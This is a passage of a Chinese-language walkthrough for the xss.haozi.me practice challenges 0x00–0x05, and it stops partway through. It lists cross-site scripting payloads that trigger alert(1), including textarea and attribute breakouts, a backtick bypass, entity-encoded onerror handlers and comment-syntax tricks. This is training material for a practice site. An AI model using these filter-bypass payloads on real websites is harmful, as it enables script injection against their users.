xss.haozi 思路总结 0x00-0x12

xss刷题网站2 https://xss.haozi.me/

一个非常可爱的网站。这是网站界面，题目序号是十六进制，一共19道题。

0x00

直接输入<script>alert(1)</script>

0x01

先闭合textarea框再实现</textarea><script>alert(1)</script>

0x02

在input框中，先引号闭合，再输入onmouseover="alert(1)">
太强了，在input code中输入是实时反馈的，强推这个网站。

0x03

题目过滤了(),利用反引号`绕过
反引号可以替代单双引号

0x04

题目过滤了()`，利用字符编码绕过
<img src="" onerror=javascript:alert&#x28;1&#x29;>

0x05

html注释有两种格式，
<!-- xxx -->
<!- xxx -!>
这道题过滤了 --> 可以构造-!>

</